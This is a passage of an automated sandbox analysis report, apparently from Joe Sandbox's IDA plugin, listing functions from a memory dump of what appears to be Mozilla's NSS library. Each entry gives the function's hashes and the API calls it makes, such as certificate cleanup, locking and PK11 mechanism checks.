Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: CriticalEnterJoinSectionThreadfree$EventPollableValue
String ID:
API String ID: 235599594-0
Opcode ID: 9348e060a05609b5fdf48c05f13947d95b57e0320873e6a34f8f9d02a57dee76
Instruction ID: ade8fa65ac2569e34a550ab842bde843d8e94d14a5c6d76e7f6204f9d31d7681
Opcode Fuzzy Hash: 9348e060a05609b5fdf48c05f13947d95b57e0320873e6a34f8f9d02a57dee76
Instruction Fuzzy Hash: 52917EB5A04602DFCB50DF15C984856BBF1FF4931C72985A9D8195BB22E732FC4ACB81

Function 6C795CF0 Relevance: 22.7, APIs: 15, Instructions: 190COMMON

Download Yara Rule

APIs

Part of subcall function 6C792BE0: CERT_DestroyCertificate.NSS3(?,00000000,00000000,?,6C792A28,00000060,00000001), ref: 6C792BF0
Part of subcall function 6C792BE0: CERT_DestroyCertificate.NSS3(?,00000000,00000000,?,6C792A28,00000060,00000001), ref: 6C792C07
Part of subcall function 6C792BE0: SECKEY_DestroyPublicKey.NSS3(?,00000000,00000000,?,6C792A28,00000060,00000001), ref: 6C792C1E
Part of subcall function 6C792BE0: free.MOZGLUE(?,00000000,00000000,?,6C792A28,00000060,00000001), ref: 6C792C4A

free.MOZGLUE(?,?,6C79AAD4,?,?,?,?,?,?,?,?,00000000,?,6C7980C1), ref: 6C795D0F
free.MOZGLUE(?,?,?,6C79AAD4,?,?,?,?,?,?,?,?,00000000,?,6C7980C1), ref: 6C795D4E
free.MOZGLUE(?,?,?,6C79AAD4,?,?,?,?,?,?,?,?,00000000,?,6C7980C1), ref: 6C795D62
free.MOZGLUE(?,?,?,?,6C79AAD4,?,?,?,?,?,?,?,?,00000000,?,6C7980C1), ref: 6C795D85
free.MOZGLUE(?,?,?,?,6C79AAD4,?,?,?,?,?,?,?,?,00000000,?,6C7980C1), ref: 6C795D99
free.MOZGLUE(?,?,?,?,6C79AAD4,?,?,?,?,?,?,?,?,00000000,?,6C7980C1), ref: 6C795DFA
SECKEY_DestroyPrivateKey.NSS3(?,?,?,?,6C79AAD4,?,?,?,?,?,?,?,?,00000000,?,6C7980C1), ref: 6C795E33
SECKEY_DestroyPublicKey.NSS3(?,?,?,?,?,6C79AAD4,?,?,?,?,?,?,?,?,00000000), ref: 6C795E3E
free.MOZGLUE(?,?,?,?,?,?,6C79AAD4,?,?,?,?,?,?,?,?,00000000), ref: 6C795E47
free.MOZGLUE(?,?,?,?,6C79AAD4,?,?,?,?,?,?,?,?,00000000,?,6C7980C1), ref: 6C795E60
SECITEM_ZfreeItem_Util.NSS3(00000008,00000000,?,?,?,6C79AAD4,?,?,?,?,?,?,?,?,00000000), ref: 6C795E78
free.MOZGLUE(?,?,?,?,?,?,?,6C79AAD4), ref: 6C795EB9
free.MOZGLUE(?,?,?,?,?,?,?,6C79AAD4), ref: 6C795EF0
SECKEY_DestroyPrivateKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,6C79AAD4), ref: 6C795F3D
SECKEY_DestroyPublicKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,6C79AAD4), ref: 6C795F4B

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: free$Destroy$Public$CertificatePrivate$Item_UtilZfree
String ID:
API String ID: 4273776295-0
Opcode ID: 8b006ca9e21f51af4f63f5db5a8c5c91a22afffbc3f4d81a92174a4e84635217
Instruction ID: 0b2950ab3b2628d9b8df0c7511c7738c246d28147aabce8c2e647c0f64a1e4c0
Opcode Fuzzy Hash: 8b006ca9e21f51af4f63f5db5a8c5c91a22afffbc3f4d81a92174a4e84635217
Instruction Fuzzy Hash: C371C2B4A00B009FD751CF20E989A92B7B5FF89309F148638E85E87B11E732F915CB91

Function 6C718DE0 Relevance: 22.7, APIs: 15, Instructions: 173memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?), ref: 6C718E22
EnterCriticalSection.KERNEL32(?), ref: 6C718E36
memset.VCRUNTIME140(?,00000000,?), ref: 6C718E4F
calloc.MOZGLUE(00000001,?,?,?), ref: 6C718E78
memcpy.VCRUNTIME140(-00000008,?,?), ref: 6C718E9B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C718EAC
PL_ArenaAllocate.NSS3(?,?), ref: 6C718EDE
memcpy.VCRUNTIME140(-00000008,?,?), ref: 6C718EF0
memset.VCRUNTIME140(?,00000000,?), ref: 6C718F00
free.MOZGLUE(?), ref: 6C718F0E
memcpy.VCRUNTIME140(?,?,?), ref: 6C718F39
memset.VCRUNTIME140(?,00000000,?), ref: 6C718F4A
memset.VCRUNTIME140(?,00000000,?), ref: 6C718F5B
PR_Unlock.NSS3(?), ref: 6C718F72
PR_Unlock.NSS3(?), ref: 6C718F82

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: memset$memcpy$Unlock$AllocateArenaCriticalEnterSectionValuecallocfree
String ID:
API String ID: 1569127702-0
Opcode ID: 042b207c13e51a2fdb9bae6ad52acbc1078f5ea72b612f30547a99bc21f07fed
Instruction ID: 7febcb0046aabc4f92cb833f9eec63656a799f4ad942e7bde7ee903c27cd265b
Opcode Fuzzy Hash: 042b207c13e51a2fdb9bae6ad52acbc1078f5ea72b612f30547a99bc21f07fed
Instruction Fuzzy Hash: 2A5106B2D042059FE7108E68CD849AAB7B9EF45318F1A4539EC089BF00E731ED4587D1

Function 6C73CE90 Relevance: 22.6, APIs: 15, Instructions: 129COMMON

Download Yara Rule

APIs

PK11_DoesMechanism.NSS3(?,00000132), ref: 6C73CE9E
PK11_DoesMechanism.NSS3(?,00000321), ref: 6C73CEBB
PK11_DoesMechanism.NSS3(?,00001081), ref: 6C73CED8
PK11_DoesMechanism.NSS3(?,00000551), ref: 6C73CEF5
PK11_DoesMechanism.NSS3(?,00000651), ref: 6C73CF12
PK11_DoesMechanism.NSS3(?,00000321), ref: 6C73CF2F
PK11_DoesMechanism.NSS3(?,00000121), ref: 6C73CF4C
PK11_DoesMechanism.NSS3(?,00000400), ref: 6C73CF69
PK11_DoesMechanism.NSS3(?,00000341), ref: 6C73CF86
PK11_DoesMechanism.NSS3(?,00000311), ref: 6C73CFA3
PK11_DoesMechanism.NSS3(?,00000301), ref: 6C73CFBC
PK11_DoesMechanism.NSS3(?,00000331), ref: 6C73CFD5
PK11_DoesMechanism.NSS3(?,00000101), ref: 6C73CFEE
PK11_DoesMechanism.NSS3(?,00000141), ref: 6C73D007
PK11_DoesMechanism.NSS3(?,00001008), ref: 6C73D021

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: DoesK11_Mechanism
String ID:
API String ID: 622698949-0
Opcode ID: c609708ecc05f08e56bb69c1b70e37aefe8df33e1a02ba745add6446eb52fb33
Instruction ID: d4bf285ae2deb66f46143bc34a32f456365c1ec4d679cb35de28c54153722cbf
Opcode Fuzzy Hash: c609708ecc05f08e56bb69c1b70e37aefe8df33e1a02ba745add6446eb52fb33
Instruction Fuzzy Hash: 6631237176292027EF0E50565F2DBDE144A4B6570EF841038F94AE57C1FBCA962702A9

Function 6C810FF0 Relevance: 22.6, APIs: 15, Instructions: 92COMMON

Download Yara Rule

APIs

PR_Lock.NSS3(?), ref: 6C811000

Part of subcall function 6C7C9BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6C6F1A48), ref: 6C7C9BB3
Part of subcall function 6C7C9BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6C6F1A48), ref: 6C7C9BC8

PR_SetError.NSS3(FFFFE8D5,00000000), ref: 6C811016

Part of subcall function 6C7AC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C7AC2BF

PR_Unlock.NSS3(?), ref: 6C811021

Part of subcall function 6C7ADD70: TlsGetValue.KERNEL32 ref: 6C7ADD8C
Part of subcall function 6C7ADD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C7ADDB4

PR_SetError.NSS3(FFFFE89D,00000000), ref: 6C811046
PR_Unlock.NSS3(?), ref: 6C81106B
PR_Lock.NSS3 ref: 6C811079
PR_Unlock.NSS3 ref: 6C811096
free.MOZGLUE(?), ref: 6C8110A7
free.MOZGLUE(?), ref: 6C8110B4
PR_DestroyCondVar.NSS3(?), ref: 6C8110BF
PR_DestroyCondVar.NSS3(?), ref: 6C8110CA
PR_DestroyCondVar.NSS3(?), ref: 6C8110D5
PR_DestroyCondVar.NSS3(?), ref: 6C8110E0
PR_DestroyLock.NSS3(?), ref: 6C8110EB
free.MOZGLUE(?), ref: 6C811105

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Destroy$Cond$LockUnlockValuefree$CriticalErrorSection$EnterLeave
String ID:
API String ID: 8544004-0
Opcode ID: 2083544125214590cd9bfa16def9989024a057fe55cd3e045eb7bcf64b661038
Instruction ID: ca9553b5c03eaa62183eb6ea3586197218d4f9954688533e46560c0e72b2a353
Opcode Fuzzy Hash: 2083544125214590cd9bfa16def9989024a057fe55cd3e045eb7bcf64b661038
Instruction Fuzzy Hash: E831AFB9900402AFD7119F10EE4AA45BBB2BF1131CB084231E80903F61E732F878DBD6

Function 6C68DC60 Relevance: 21.3, APIs: 9, Strings: 3, Instructions: 282COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?), ref: 6C68DD56
memcpy.VCRUNTIME140(0000FFFE,?,?), ref: 6C68DD7C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000), ref: 6C68DE67
memcpy.VCRUNTIME140(0000FFFC,?,?), ref: 6C68DEC4
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C68DECD

Strings

database corruption, xrefs: 6C68DF77, 6C68DFE7
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C68DF6D, 6C68DFCC, 6C68DFDD
%s at line %d of [%.10s], xrefs: 6C68DF7C, 6C68DFEC

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: memcpy$_byteswap_ulong
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 2339628231-598938438
Opcode ID: aaa8987bbb4e519171f223746a229fd2ff9b189740c24443176d41d9c9642208
Instruction ID: 71490a6ea7a00de47fcafa1378a9ff52706f4575af5b555b202b7c3e9a566528
Opcode Fuzzy Hash: aaa8987bbb4e519171f223746a229fd2ff9b189740c24443176d41d9c9642208
Instruction Fuzzy Hash: DAA1F7716052129FC710DF29C880A6BB7F5EF85318F15896EF8899BB41D730E845CBB5

Function 6C74EDD0 Relevance: 21.2, APIs: 14, Instructions: 239memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(?), ref: 6C74EE0B

Part of subcall function 6C760BE0: malloc.MOZGLUE(6C758D2D,?,00000000,?), ref: 6C760BF8
Part of subcall function 6C760BE0: TlsGetValue.KERNEL32(6C758D2D,?,00000000,?), ref: 6C760C15

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C74EEE1

Part of subcall function 6C741D50: TlsGetValue.KERNEL32(00000000,-00000018), ref: 6C741D7E
Part of subcall function 6C741D50: EnterCriticalSection.KERNEL32(?), ref: 6C741D8E
Part of subcall function 6C741D50: PR_Unlock.NSS3(?), ref: 6C741DD3

TlsGetValue.KERNEL32 ref: 6C74EE51
EnterCriticalSection.KERNEL32(?), ref: 6C74EE65
PR_Unlock.NSS3(?), ref: 6C74EEA2
free.MOZGLUE(?), ref: 6C74EEBB
PR_SetError.NSS3(00000000,00000000), ref: 6C74EED0
PR_Unlock.NSS3(?), ref: 6C74EF48
free.MOZGLUE(?), ref: 6C74EF68
PR_SetError.NSS3(00000000,00000000), ref: 6C74EF7D
PK11_DoesMechanism.NSS3(?,?), ref: 6C74EFA4
free.MOZGLUE(?), ref: 6C74EFDA
PR_SetError.NSS3(FFFFE040,00000000), ref: 6C74F055
free.MOZGLUE(?), ref: 6C74F060

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Errorfree$UnlockValue$CriticalEnterSection$Alloc_DoesK11_MechanismUtilmalloc
String ID:
API String ID: 2524771861-0
Opcode ID: 76af56d94e40bd125f257b366ce72d627382f26af8949997be2abb77a6d77ec7
Instruction ID: 2dd6011ae373733a7db56b31d6e41587ab6e60ed76628556b97b019cb0f0f081
Opcode Fuzzy Hash: 76af56d94e40bd125f257b366ce72d627382f26af8949997be2abb77a6d77ec7
Instruction Fuzzy Hash: 23818475A00219ABEB40DFA5DD49EDEBBB9BF08318F544034E909A3611E731E924CBE1

Function 6C714CF0 Relevance: 21.2, APIs: 14, Instructions: 237memoryCOMMON

Download Yara Rule

APIs

PK11_SignatureLen.NSS3(?), ref: 6C714D80
PORT_Alloc_Util.NSS3(00000000), ref: 6C714D95
PORT_NewArena_Util.NSS3(00000800), ref: 6C714DF2
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C714E2C
PR_SetError.NSS3(FFFFE028,00000000), ref: 6C714E43
PORT_NewArena_Util.NSS3(00000800), ref: 6C714E58
SGN_CreateDigestInfo_Util.NSS3(00000001,?,?), ref: 6C714E85
DER_Encode_Util.NSS3(?,?,6C8605A4,00000000), ref: 6C714EA7
PK11_SignWithMechanism.NSS3(?,-00000001,00000000,?,?), ref: 6C714F17
DSAU_EncodeDerSigWithLen.NSS3(?,?,?), ref: 6C714F45
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C714F62
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6C714F7A
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C714F89
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C714FC8

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Util$Arena_$ErrorFreeItem_K11_WithZfree$Alloc_CreateDigestEncodeEncode_Info_MechanismSignSignature
String ID:
API String ID: 2843999940-0
Opcode ID: 42dbf3fc75613c57e6f0d2b0d47834e2cc6edf08746c9e6e497b3694213b1203
Instruction ID: cb67e5d9e4648986da3ddf1722b920506a9be8e2cedbf489923b9ba56acbce98
Opcode Fuzzy Hash: 42dbf3fc75613c57e6f0d2b0d47834e2cc6edf08746c9e6e497b3694213b1203
Instruction Fuzzy Hash: C181A271908301AFE711CF25DA44B5AB7E8AB8475CF1C852DF958DBB40E731EA08CB92

Function 6C755C10 Relevance: 21.2, APIs: 10, Strings: 2, Instructions: 221COMMON

Download Yara Rule

APIs

SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?), ref: 6C755C9B
PR_SetError.NSS3(FFFFE043,00000000,?,?,?,?,?), ref: 6C755CF4
SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?), ref: 6C755CFD
PR_smprintf.NSS3(tokens=[0x%x=<%s>],00000004,00000000,?,?,?,?,?,?), ref: 6C755D42
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?), ref: 6C755D4E
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C755D78
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,?,?,?,?,?,?), ref: 6C755E18
TlsGetValue.KERNEL32 ref: 6C755E5E
EnterCriticalSection.KERNEL32(?), ref: 6C755E72
PR_Unlock.NSS3(?), ref: 6C755E8B

Part of subcall function 6C74F820: free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6C74F854
Part of subcall function 6C74F820: free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6C74F868
Part of subcall function 6C74F820: DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6C74F882
Part of subcall function 6C74F820: free.MOZGLUE(04C483FF,?,?), ref: 6C74F889
Part of subcall function 6C74F820: DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6C74F8A4
Part of subcall function 6C74F820: free.MOZGLUE(CCCCCCC3,?,?), ref: 6C74F8AB
Part of subcall function 6C74F820: DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6C74F8C9
Part of subcall function 6C74F820: free.MOZGLUE(280F10EC,?,?), ref: 6C74F8D0

Strings

tokens=[0x%x=<%s>], xrefs: 6C755D3D
d, xrefs: 6C755C36

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: free$CriticalSection$Delete$DestroyErrorModule$EnterR_smprintfUnlockValue
String ID: d$tokens=[0x%x=<%s>]
API String ID: 2028831712-1373489631
Opcode ID: 6fdfc4c4bcf87b119f6eae8469b0995be576a2c9802b9775b7103276692051ee
Instruction ID: b77a3869ba8418b6c6c1ff8eb975d92e0de3d2116c8beeec4c382c5e3ae2cdfd
Opcode Fuzzy Hash: 6fdfc4c4bcf87b119f6eae8469b0995be576a2c9802b9775b7103276692051ee
Instruction Fuzzy Hash: 787117F1F042019BEB419F25EE4976A3279AF4531CF944039E8099AB42EF36E935C7D2

Function 6C748F40 Relevance: 21.2, APIs: 14, Instructions: 179memoryCOMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(6C749582), ref: 6C748F5B

Part of subcall function 6C75BE30: SECOID_FindOID_Util.NSS3(6C71311B,00000000,?,6C71311B,?), ref: 6C75BE44

PORT_NewArena_Util.NSS3(00000800), ref: 6C748F6A

Part of subcall function 6C760FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C7087ED,00000800,6C6FEF74,00000000), ref: 6C761000
Part of subcall function 6C760FF0: PR_NewLock.NSS3(?,00000800,6C6FEF74,00000000), ref: 6C761016
Part of subcall function 6C760FF0: PL_InitArenaPool.NSS3(00000000,security,6C7087ED,00000008,?,00000800,6C6FEF74,00000000), ref: 6C76102B

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6C748FC3
PK11_GetIVLength.NSS3(-00000001), ref: 6C748FE0
SEC_ASN1DecodeItem_Util.NSS3(?,?,6C82D820,6C749576), ref: 6C748FF9
DER_GetInteger_Util.NSS3(?), ref: 6C74901D
PORT_ZAlloc_Util.NSS3(?), ref: 6C74903E
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C749062
memcpy.VCRUNTIME140(00000024,?,?), ref: 6C7490A2
PORT_ZAlloc_Util.NSS3(?), ref: 6C7490CA
memcpy.VCRUNTIME140(00000018,?,?), ref: 6C7490F0
PR_SetError.NSS3(FFFFE006,00000000), ref: 6C74912D
free.MOZGLUE(00000000), ref: 6C749136
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6C749145

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Util$Tag_$AlgorithmAlloc_Arena_Findmemcpy$ArenaDecodeErrorFreeInitInteger_Item_K11_LengthLockPoolcallocfree
String ID:
API String ID: 3626836424-0
Opcode ID: 7166317e651b01d27978ffe12c9baeb3d3904929d766402751c23923f430fc44
Instruction ID: 403f3e6000bc385fddc7b1cde79d32a28fcf484fe670a260178754c8b0a528ce
Opcode Fuzzy Hash: 7166317e651b01d27978ffe12c9baeb3d3904929d766402751c23923f430fc44
Instruction Fuzzy Hash: 1351E2B1A042009BE710CF28DE49B96B7E8EF94358F048939EC55C7741E735E949CBD2

Function 6C6FAF30 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 93COMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3 ref: 6C6FAF47

Part of subcall function 6C7C9090: TlsGetValue.KERNEL32 ref: 6C7C90AB
Part of subcall function 6C7C9090: TlsGetValue.KERNEL32 ref: 6C7C90C9
Part of subcall function 6C7C9090: EnterCriticalSection.KERNEL32 ref: 6C7C90E5
Part of subcall function 6C7C9090: TlsGetValue.KERNEL32 ref: 6C7C9116
Part of subcall function 6C7C9090: LeaveCriticalSection.KERNEL32 ref: 6C7C913F

FreeLibrary.KERNEL32(?), ref: 6C6FAF6D
free.MOZGLUE(?), ref: 6C6FAFA4
free.MOZGLUE(?), ref: 6C6FAFAA
PR_ExitMonitor.NSS3 ref: 6C6FAFB5
PR_LogPrint.NSS3(%s decr => %d,?,?), ref: 6C6FAFF5
PR_ExitMonitor.NSS3 ref: 6C6FB005
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6C6FB014
PR_LogPrint.NSS3(Unloaded library %s,?), ref: 6C6FB028
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6C6FB03C

Strings

Unloaded library %s, xrefs: 6C6FB023
%s decr => %d, xrefs: 6C6FAFF0

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: MonitorValue$CriticalEnterErrorExitPrintSectionfree$FreeLeaveLibrary
String ID: %s decr => %d$Unloaded library %s
API String ID: 4015679603-2877805755
Opcode ID: d952c43b8a6285b07051f157dff3dd4c4dcdb606368f244b176a28f9b29d818b
Instruction ID: adcf5e4b99b3e68ab300051dc728c446b2dc3a2329acdd57f7026f59933614b1
Opcode Fuzzy Hash: d952c43b8a6285b07051f157dff3dd4c4dcdb606368f244b176a28f9b29d818b
Instruction Fuzzy Hash: 71314BB4B05011AFEB119F65DC44A55B776EB0531CB184135EC258BB02F332E82AC7F6

Function 6C746C30 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 58stringCOMMON

Download Yara Rule

APIs

strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000004,6C74781D,00000000,6C73BE2C,?,6C746B1D,?,?,?,?,00000000,00000000,6C74781D), ref: 6C746C40
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000004,?,?,?,?,?,?,?,00000000,00000000,6C74781D,?,6C73BE2C,?), ref: 6C746C58
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,rdb:,00000004,?,?,?,?,?,?,?,?,?,?,00000000,00000000,6C74781D), ref: 6C746C6F
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000007), ref: 6C746C84
